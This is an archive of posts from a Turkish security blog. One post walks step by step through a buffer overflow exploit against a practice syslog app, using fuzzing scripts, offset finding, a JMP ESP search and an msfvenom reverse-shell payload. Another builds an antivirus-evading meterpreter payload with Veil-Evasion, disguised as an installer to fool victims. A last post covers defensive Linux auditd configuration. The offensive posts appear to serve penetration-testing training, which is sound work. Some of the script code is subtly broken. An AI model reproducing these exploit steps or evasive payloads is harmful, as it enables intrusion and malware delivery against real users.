30 Mart 2016

Web Uygulama Açıklıklarından Faydalanarak Sistem Ele Geçirme


Web uygulama açıklıkları sadece veri sızması veya suistimale imkan tanımaz.

Web uygulamasının eriştiği veriler veya operasyonel kritikliği ne kadar düşük öncelikli olursa olsun barındırabileceği açıklıklar sayesinde üzerinde koştuğu işletim sisteminin ele geçirilmesine imkan tanıyabilir. Bu durumda saldırgan diğer hedeflere daha etkili saldırı yapabilecek bir konuma erişmiş olur.

Bu nedenle web uygulamalarının kritikliklerini değerlendirirken mutlaka web uygulamasının ve bu uygulamanın kullandığı veritabanlarının bulunduğu ağ bölümlerinin kritiklikleri de dikkate alınmalıdır.

27 Mart 2016

Buffer Overflow Exploit Geliştirme

Bu makalemizde bir sistem üzerine bufferoverflow yöntemi kullanarak shell açma konusundan bahsedeceğiz. Shell açmak için gerekli çalışmaları yaptıktan sonra oluşturacağımızı exploiti metasploit üzerine bir modül olarak eklemeye çalışacağız.
Adımlarımızı BTRisk tarafından bu konuya özel olarak geliştirilen BTRSyslog uygulaması üzerinde gerçekleştireceğiz. Bu yazıda Buffer Overflow adımları detaylı bir şekilde ele alınmayacaktır. Eğer konuyu detaylı bir şekilde ele almak isterseniz Fatih Emiral  tarafından hazırlanmış olan videolara aşağıdaki linkten erişebilirsiniz.


Uygulama Hakkında

BTRSyslog uygulaması UDP 514 portunu dinleyerek kendisine gelen paketleri toplamaktadır. Bu nedenle buffer overflow adımlarını izlerken bizde bu port ve protokolden faydalanacağız. Uygulamayı aşağıdaki linkte indirebilirsiniz.

www.btrisk.com/btrsys.rar

Uygulamamızın nasıl çalıştığını anlamak için çok kısa bir test yapalım.

Mevcut exe uzantısını çalıştıralım ve gelen ekranda play butonuna basarak uygulamayı aktif hale getirelim. Sonraki adımda hping aracını kullanarak düşük boyutlarda udp paketi gönderelim ve paketlerin ulaştığından emin olalım. Kullandığım hping komutu ve uygulamanın görüntüsü aşağıdaki gibidir;

hping3 192.168.2.4 -p 514 --udp --data 1

Uygulamamızın çalıştığından emin olduktan sonra işlemlerimizi takip etmek için Immunity Debugger ve bu debugger içerisinde bulunan bir eklenti olan mona.py scriptlerine ihtiyacımız olacak. Uygulamanın çalıştığı sistem Windows 7 , saldırgan tarafındaki işletim sistemi ise Kali Linux’tur. Mona eklentisine aşağıdaki linkten erişebilirsiniz.


Uygulamanın Fuzz Edilmesi

Bu bölümde hazırladığımız kısa bir script ile uygulamamıza boyutları düzenli olarak artan paketler göndereceğiz ve uygulamanın kaç byte uzunluktaki isteklere cevap verdiğini tespit etmeye çalışacağız. Daha önce herhangi bir script yazma tecrübeniz olmasa bile bu tarz scriptleri internet üzerinden kolayca bulabilirsiniz.
#!/usr/bin/python
import socket, time

buffer = ["A"]
counter = 10 
while len(buffer) <=20:
 buffer.append("A" * counter)
 counter = counter + 10

for strings in buffer:
 time.sleep(1)
 print "Buffer : %s byte" % len(strings)
 s=socket.socket (socket.AF_INET, socket.SOCK_DGRAM)
 s.connect(('192.168.2.7', 514))
 s.send(strings)
 s.close
Scripti çalıştırdığınızda gönderilen paketlerin 10 byte arttığını görüyoruz. Uygulama üzerinde takip ettiğinizde ortalama 14 paket ulaştığında uygulamanın çalışmayı durduğunu göreceksiniz. Buradan yola çıkarsak 140 byte uzunluğunda bir paket gönderildiğinde uygulamanın crash olduğu sonucuna varabiliriz.

Bu işlemi yapmak için  Immunity Debugger çalıştırıp File > Attach bölümünden uygulamamızı attach edip ok işareti ile belirtilen RUN butonuna basalım.
İşlemi daha net görebilmek için scriptinizi düzenleyip tek seferde 140 byte uzunluğunda bir buffer gönderebilirsiniz. Aynı zamanda Immunity Debugger ile sağ üst alandaki CPU registerlarını kontrol edebilirsiniz. 140 bytelık bir buffer gönderiminden sonra görüntü aşağıdaki gibi olacaktır.


Bir sonraki adımımız gönderilen buffer üzerinde EIP register değerinin hangi 4 bytelık adrese denk geldiğini tespit etmek olacak. EIP registerı bir sonraki çalıştırılacak olan kodun adresini tutan registerdır. EIP değerini kontrol ettikten sonra uygulama akışına müdahale etme şansımız olacaktır.
EIP registerının 140 bytelık buffer içerisinde hangi bytelara denk geldiğini bulmak için metasploit framework içerisinde tanımlı olan pattern_create.rb scriptini kullanacağız. Bu script bize 140 byte uzunluğunda unique bir değer üretecek.


#!/usr/bin/python
import socket

pattern =  (
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2"
"Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae" )

s=socket.socket (socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('192.168.2.4', 514))
Script çalıştırıldıktan sonra EIP değeri sağ üst bölümdeki gibi görünecektir sağ tıklayarak bu değer kopyalayalım.


EIP registerı 65413565 değerleri tarafından ezilmiş durumda. Şimdi bu değerin gönderdiğimiz özel buffer içierisinden hangi offsete denk geldiğini hesaplayalım. Bunun için pattern_create.rb ile aynı dizin altında bulunan pattern_offset.rb scriptini kullanacağız. 


Scriptimiz çalıştıktan sonra bize EIP registerının 136. Offsetten sonra başladığını belirtiyor. Bu değerin doğru olduğunu anlamak için scriptimizi aşağıdaki şekilde düzenliyor ve uygulamamıza buffer değerini tekrar gönderiyoruz. Eğer scriptimizde olduğu gibi EIP register B karakteri tarafından ezilirse offset doğru hesaplanmış anlamına gelecektir. (42 = B)
#!/usr/bin/python
import  socket
buffer = "A" * 136 + "B" * 4

s=socket.socket (socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('192.168.2.7', 514))
s.send(buffer)
s.close
Burada ufak bir sorunu çözmemiz gerekecek. Shell açabilmek için kullanacağımız shellcode 350-400 byte arasında alana ihtiyaç duymaktadır. Ancak hesapladığımız değerlere göre (136 + 4) stack alanı dolmuş durumda. Bu nedenle stack alanını genişletmemiz gerekiyor. Ben 600 byte kadar bir stack oluşturacağım. Bunun için scriptimin içerisinde C karakterlerini 600’e tamamlayacak şekilde ekliyorum.
#!/usr/bin/python
import  socket
buffer = "A" * 136  +  "B" * 4  + “C” + 460

s=socket.socket (socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('192.168.2.7', 514))
s.send(buffer)
s.close
Script çalıştırıldıktan sonra yeni oluşan ESP değerinin üzerine sağ tıklayıp Follow in Dump seçeneğine tıkladığımızda sol alt köşede “C” karakterlerini görebiliriz. “C” karakterlerinin olduğu alan shellcode için kullanacağımız alandır.

Uygulamanın bileşenlerine bağlı olarak bazı karakterleri stack veya shellcode içerisinde kullanmamıza izin verilmiyor olabilir. Bu tür karakterleri (badchar) tespit etmek için scriptimizi aşağıdaki şekilde düzenleyelim ve mümkün olan tüm karakterleri oluşturduğumuz  bufferın bir parçası olarak gönderelim.

CPU register bölümünde ESP üzerine sağ tıklayarak Follow in Dump seçeneğine tıklayalım. Sol alt tarafta görüldüğü üzere bizim programımızda herhangi bir karakter problemi yaşanmamaktadır. Ancak genel olarak problem oluşturan 0x00(null) karakterini kullanmıyoruz.

Sırada uygulamanın akışına müdahale edebilmemiz için JMP ESP adresini bulmaya geldi. Bu işlemi kolaylaştırmak için mona scriptlerinden faydalanacağız. Öncelikle !mona modules komutu çalıştırılarak adresi bulacağımız dll adını belirliyoruz. Dikkat edilmesi gereken nokta DEP ve ASLR desteği bulunmayan bir modül olmasıdır. Burada yine uygulamamıza özel olan BTRSysdll.dll modülünü seçiyoruz.

Bu dll içerisindeki jmp esp adresini bulmak için aşağıdaki mona komutunu kullanabiliriz.
Komut içerisinde kullandığımız FFE4 adresi JMP ESP adresinin opcode olarak karşılığını ifade etmektedir. Bu tarz değerleri hesaplamak için nasm_shell.rb scriptini kullanabiliriz.

!mona find –s “\xff\xe4” –m BTRSsysdll.dll

Açılan ekranda dll tarafından işaret edilen adresi sağ tıklayarak kopyalayalım ve sırasıyla aşağıdaki adımları takip edelim;
Immunity Debugger ekranının üst kısmındaki e harfine tıklayalım.


Burada ilgili dll üzerine çift tıklayalım. Daha sonra Go To Address sembolüne tıklayarak bulduğumuz adresi yapıştırıp OK tıklayalım. Bizi JMP ESP adresine götürecektir. Burada elde ettiğimiz adresi EIP adresi ile değiştirerek uygulamanın bizim stack üzerine yerleştireceğimiz koda atlamasını sağlayacağız.



Scriptimiz tekrar oluştururken dikkat edilmesi gereken nokta JMP ESP adresi little endian formatında ele alınmalıdır.

Sırada bağlantımızı kurmak için shellcode oluşturmaya geldi. Bu adımda msfvenom aracını kullanarak kodumuzu kolayca oluşturabiliriz. Örnek olarak aşağıdaki komut verilebilir. Siz senaryonuza göre farklı payload, işletim sistemi veya encoder belirleyebilirsiniz.

msfvenom –p windows/reverse_shell_tcp LHOST=192.168.x.x LPORT=4445 –e x86/shikata_ga_nai –f c –b “\x00”

Komutun çıktısını kopyalayıp scriptimize ekleyelim. Oluşturduğumuz shellcode stack alanının ilk bir kaç bytelık bölümünü ezebilir ve kodun doğru şekilde çalışmasını engelleyebilir. Bu durumu ortadan kaldırmak  için scriptimize NOP (x90) instructionları eklemeliyiz. Bu instruction herhangi bir işlem gerçekleştirmez, sadece bir sonraki instructiona geçmemizi sağlar. 

Oluşturduğumuz scriptimizin son hali aşağıdakine benzer şekilde olacaktır;

Son olarak netcat listener başlatalım ve scriptimizi çalıştıralım. Aşağıda görüldüğü gibi artık hedef sistem üzerinde bir shell bağlantısına sahip olacağız.


21 Mart 2016

Veil-Evasion ile Antivirüs Atlatma

Msfvenom ile antivirüs atlatma makalemizden sonra şimdi de veil-evasion kullanarak antivirüs nasıl atlatılacağına değineceğiz.


Veil-Evasion Nedir?
Sızma testlerinde karşılaşılan antivirüs yazılımlarını aşarak shell açmak gerekmektedir. Veil antivirüs atlatmak için kodlara farklı encoding uygulayan veya başka bir uygulamaya zararlı kodu enjekte eden, linux üzerinde çalışan açık kaynak kodlu bir frameworktur. x86 ve x64 versiyonlarla uyumludur. Her bir payload random üretilmeye çalışılır.

Shell açmak için veil-evasion araçını kullanarak çalıştırılabilir exe dosyasını encode edeceğiz. Encode edilmiş uygulama antivirüs tarafından tespit edilemeyecektir.


Veil-Evasion Nasıl Kurulur?
Kali ile çalıştığımızdan şu aşağıdaki komut ile kurulum yapabiliriz.

Kali dışında bir linux kullanacaksanız aşağıdaki komutu kullanabilirsiniz:

wget https://github.com/ChrisTruncer/Veil/archive/master.zip
unzip master.zip
cd Veil-master/setup
cd ..
./setup.sh

Gelen soruya “y” diyerek kuruluma devam ediyoruz.


Sonraki adımlarda "Next" diyerek devam ediyoruz.



Veil-Evasion Kullanımı
Veil kurulduktan sonra aşağıdaki komutu çalıştırıyoruz.

root@kali: veil-evasion

Aşağıdaki gibi karşılama ekranı gelmektedir.

list” komutu ile tüm payload’ları görüntüleyebilirsiniz. 

[>] Please enter a command: list


[>] Please enter a command: use 35


Örnek olarak 35. payload kullanıldı.

[>] Please enter a command: set USE_PYHERION  Y

Büyük harfle yazmaya dikkat edin. 

USE_PYHERION: Varsayılan olarak N'dir ve uygulanmayacaktır. Üretilecek zararlı yazılımın ek olarak Python'un pyherion şifrelemesinden geçirileceğini belirtir.
Gelen ekranda “generate“ dedikten sonra dosya üretilir.


Gelen ekran 1 seçilir.


Aşağıdaki ekrandalarda her satırda saldırgan bilgileri girilmelidir.


Metasploit payload için “windows/meterpreter/reverse_tcp
LHOST : Saldırı IP adresi
LPORT : Saldırı port

Oluşturulacak exe için Pyinstaller.exe dosyası kullanılır. Bunun için “1” seçilir ve üretilen dosya Pyinstaller dosyası çalıştırıldığında zararlı yazılım çalışacaktır. Kurban Pyinstaller dosyasını kurduğunu düşünecektir fakat aynı zamanda virüs uygulamasınıda çalıştıracaktır.


Dosyanın oluşturulduğu dizin ve diğer bilgiler gösterilir.


En alt satırda bize online scannerlara taratmamamızı önermektedir. Bu öneriye uyulmasa, oluşturulan dosya virustotal’e yüklediğimizde başarı oranı artacaktır. Bu oran bizim gibi arkadaşların buraya yüklemesi sonucu, antivirüs firmalarının dosyaları tanıyan uygulamalar geliştimesine bağlıdır. Buraya aynı dosya yüklendikçe firmalar uygulamaları kontrol etmesi sonucu çözümünü bulabilmektedir. Bu da bize gösteriyor ki bu oran artacaktır.

 
Reverse Shell Açma
Artık hedef sistemde uygulama çalıştıktan sonra sistemi ele geçilirlecektir. 
Metasploit açılarak reverse_tcp dinleme modunda beklenir.


Sisteme bağlanıldı ve kurbanı ele geçirdik. 
Veil Evasion ile adım adım yaptığımız zararlı kod üretmeyi, tek bir komut satırında da çalıştırabilirsiniz. Bunun için terminale aşağıdaki komutları yazmalısınız.

root@kali: veil-evasion -p 35 -c LHOST=192.168.2.13 LPORT=4444 use_pyherion=Y --overwrite -o malicious


Sonraki adımları geçerek, oluşan dosya bilgileri aşağıdaki gibidir.


Oluşan çalıştırılabilir dosya  şu dizinde bulunacaktır  “/root/Veil-master/output/compiled/”
Antivirüs yazılımlarını bu yöntemle atlatılabilmektedir.

11 Mart 2016

Linux System Auditing Konfigürasyonu

Linux audit sistemi güvenlikle ilişkili bilgileri takip etme imkanı tanır. Audit, sistemde gerçekleşen olaylar hakkında mümkün olan en fazla veriyle log dosyaları oluşturur. Log dosyalarına düşen bu bilgiler güvenlik problemleri için önemli bilgiler içermektedir. Audit kelime manası olarak 'izlemek' anlamına gelmekle birlikte asıl işlevinin sistemimizi daha güvenli bir hale getirmek değil sistemde gerçekleşen olayların kayıtlarını tutarak güvenlik politikalarının ihlali durumunda veya oluşan bir siber suç eyleminde, olayın nasıl gerçekleştiğine dair kanıtlar ve bilgiler sunar. Audit sistemi ile : Dosya erişimleri, Sisteme yapılan çağrılar, Kullanıcılar tarafından çalıştırılan kodlar, Network erişimleri, ve diğer güvenlikle ilişkili olaylar gözlenebilir, kayıt edilebilir ve özet raporları hazırlanabilir.

NOT : Audit sistemi tarafından gözlemlenen verilerin miktarina bağlı olarak sistem performansı etkilenir.




Kernel tarafından gönderilen bilgiler Kullanıcı taraflı çalışan Audit daemon tarafından toplanır ve log dosyalarına yazılır. Default olarak çoğu linux dağıtımında gelen auditd bu amaçla kullanılabilecek user space audit daemon'dır. Mevcut işletim sisteminizde kurulu gelmediyse kurulumu için “apt-get install auditd audispd-plugins” komutu kullanılır. Konfigürasyonu iki dosya aracılığı ile yapılabilir : auditd.conf (daemon'un kendisi) , audit.rules (auditctl programı tarafından kullanılan dosya). Auditctl konfigurasyon için kullanılacak yardımcı bir araçtır.

Audit.conf = log eventlerin nereye ve nasıl kayıt edileceği, full disk durumu, log rotation gibi ayarlar yapmak içindir.

Audit.rules = hangi eventlerin kayıt edileceğini belirlemek için kullanılır. Bu dosyaya manuel olarak kural girilebileceği gibi auditctl aracıda kullanılabilir. Kullanılabilecek komutlar aşağıda anlatılmıştır.

  • Mevcut kuralların Listelenmesi = auditctl -l
  • Bütün kuralların silinmesi = auditctl -D
  • Dosya takibi = auditctl -w path_to_file -p permissions

path_to_file : izlenmesi istenen dosya
permission : r (read), w (write) , x (execute), a(attribute) izinleri



Artık /etc/passwd dosyası üzerinde yapılan tüm işlemler /var/log/audit/audit.log dosyasına yazılır. Ayrıca, ausearch logları takip etmek için auditd daemonu yanında gelen bir araçtır ve '-f' parametresi ile belirtilen dosya hakkındaki loglar kolaylıkla aratılabilir.



Görüldüğü gibi zaman (time), objenin ismi (name), güncel çalışma dizini (cwd), tipi SYSCALL, audit user id (auid), kullanıcının erişmek için kullandığı komut (comm), başarılı olup olmadığı (success), dosya üzerinde işlem yapan binary (exe) görüntülenmiştir.

Kuralların bir dosyadan yüklenmesi = auditctl -R /home/new.rule
Kuralların yedeği alınmasında fayda vardır, yeniden yüklenmesi gerektiğinde bu şekilde tamamı geri yüklenebilir.

System Call kuralları tanımlanması = auditctl -a action,filter -S system_call -F field=value
Action ve Filter eventlerin ne zaman loglanacağını belirlemek için kullanılır.Action always,never gibi değerler alırken filter task, exit, user, exclude değerlerini alabilir. Örneğin

# auditctl -a always,exit -F arch=b64 -S adjtimex -S settimeofday

Örnekler

* Belirli bir program tarafından yapılan bütün syscall girdilerini kaydetmek
auditctl -a entry,always -S all -F pid=1005
* Belirli bir kullanıcı tarafından açılan dosyaların girdilerini kaydetmek
auditctl -a exit,always -S open -F auid=510
* unseccesfull open call's
auditctl -a exit,always -S open -F success=0
* Dosya üzerindeki değişiklikleri takip etmek
auditctl -w /etc/shadow -p wa

Audit Log Dosyalarında Arama Yapmak


Manuel yapılacak araştırma için /var/log/audit/audit.log dosyası incelenebileceği gibi,Auditd daemonu ile birlikte gelen ausearch aracının audit logları içerisinde arama yapmak için kullanılabileceğinden bahsedilmişti. Örneğin

* Hatalı giriş denemelerini bulmak için
ausearch --message USER_LOGIN --success no –interpret
* Bütün account, group, ve role değişikliklerini bulmak için
ausearch -m ADD_USER -m DEL_USER -m ADD_GROUP -m USER_CHAUTHTOK -m DEL_GROUP -m CHGRP_ID -m ROLE_ASSIGN -m ROLE_REMOVE -i
* Belirli bir kullanıcı için mevcut tüm loglaru bulmak için
ausearch -ua 500 -i
* Dünden bugüne kadar olan tüm hata ile sonuçlanan syscall'lar
ausearch --start yesterday --end now -m SYSCALL -sv no -i

Ausearch aracı –help parametresi ile incelendiğinde sunduğu birçok seçenek olduğu görülmektedir






NOT : Yine auditd daemonu yanında gelen araçlardan olan aureport ile loglar üzerinde gelişmiş rapor hazırlama imkanları mevcuttur.




Öneriler

  • Log Dosyalarının izinleri uygun şekilde ayarlanmalıdır.
  • Merkezi bir Syslog Server kurularak tüm logların tek cihazda toplanması avantajlıdır.
  • Log transferinin şifreli biçimde yollanması önemlidir.
  • Tüm cihazlar tarafından kullanılacak bir merkezi saat olması için NTP server kurulmalıdır. Loglamada doğru çalışan bir saat büyük önem taşır.
  • Syslog Facility'lerinden auth önemli veriler bulundurduğu için açık olmalıdır.(auth.*)
  • Bütün loglarını tüm detaylarıyla almak dos saldırılarına sebep olabilir.
  • Uygulamalar için uygun log konfigürasyonları yapılmış olmalıdır.
  • Hassas dosya ve objeler için loglamanın açılmış olması gerekir.

Bu makale İstanbul Teknik Üniversitesi Bilgisayar Mühendisliği Bölümü öğrencisi stajyerimiz Cemal Türkoğlu tarafından geliştirilmiştir.

06 Mart 2016